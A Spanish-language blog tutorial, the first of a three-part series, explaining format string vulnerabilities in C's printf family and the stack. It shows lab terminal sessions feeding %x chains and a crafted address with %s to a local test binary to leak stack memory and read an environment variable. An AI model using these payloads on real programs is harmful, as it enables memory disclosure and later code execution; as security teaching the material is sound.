Introducción a Format String Attack I de III


Serie de entradas que servirán de ejemplo para explicar los Format String Attack.
  • Format String Attack I de III
  • Format String Attack II de III
  • Format String Attack III de III

Introducción


Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().

Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.

Los formatos más comunes que se pueden utilizar son:
  • %d Formato de enteros.
  • %i Formato de enteros (igual que %d).
  • %f Formato de punto flotante.
  • %u Formato sin signo.
  • %x Formato hexadecimal.
  • %p Muestra el correspondiente valor del puntero.
  • %c Formato de carácter

Format String Vulnerability


La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correctamente.

La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.

Veamos un ejemplo
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.
Correcto: prueba.
Incorrecto: prueba.
(-) Valor @ 0x0804a024 = 50 0x00000032
Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x

Correcto: BBBB%x
Incorrecto: BBBBbfa675ee
(-) Valor @ 0x0804a024 = 50 0x00000032

La familia de funciones format


Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.

Funciones básicas:
  • printf Imprime el flujo 'stdout'.
  • fprintf Imprime el flujo de un fichero.
  • sprintf Imprime en una cadena.
  • snprintf Imprime en una cadena comprobando la longitud.
  • vprintf Imprime en 'stdout' desde una estructura va_arg.
  • vfprintf Imprime en un fichero desde una estructura va_arg.
  • vsprintf Imprime en una cadena desde una estructura va_arg.
  • vsnprintf Imprime en una cadena comprobando la longitud desde una estructura va_arg.
Otras:
  • syslog, verr*, err*, vwarn*, warn*, setproctile

La pila y su funcionamiento


El comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.

Así:
printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);
El aspecto de la pila para la instrucción anterior es el siguiente:
Donde:
  • A Dirección de la cadena.
  • i Valor de la variable i.
  • a Valor de la variable a.
  • &a Dirección de la variable a.
La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '%', especificará el tipo de parámetro a evaluar.

La cadena '%%' se comporta de forma especial, y permite imprimir a la salida el carácter '%'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.

Leyendo direcciones de memoria


Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.

Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x
Incorrecto:
BBBBbffb85e60000
(-) Valor @ 0x0804a024 = 50 0x00000032
Probando un poco más
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x%x%x%x%x%x%x%x
Incorrecto:
BBBBbfd6f5d80000b78cc0000bfd6f44400042424242
(-) Valor @ 0x0804a024 = 50 0x00000032
Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datos

Pero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.

Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.

El código de uso para getenv() es el siguiente
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddr
Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAME
sebas
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAME
LOGNAME está localizada en 0xbfa07e44
Ahora sabemos que la cadena "sebas" está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y %s con localización exacta para obtener el valor.
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%s

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%s
Incorrecto:
D~��bf92d5d60000b780d0000bf92c874000->sebas
(-) Valor @ 0x0804a024 = 50 0x00000032
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%x

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%x
Incorrecto:
D~��bf9615d60000b77530000bf95fd74000->bfa07e44
(-) Valor @ 0x0804a024 = 50 0x00000032
En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para ello.

Comentarios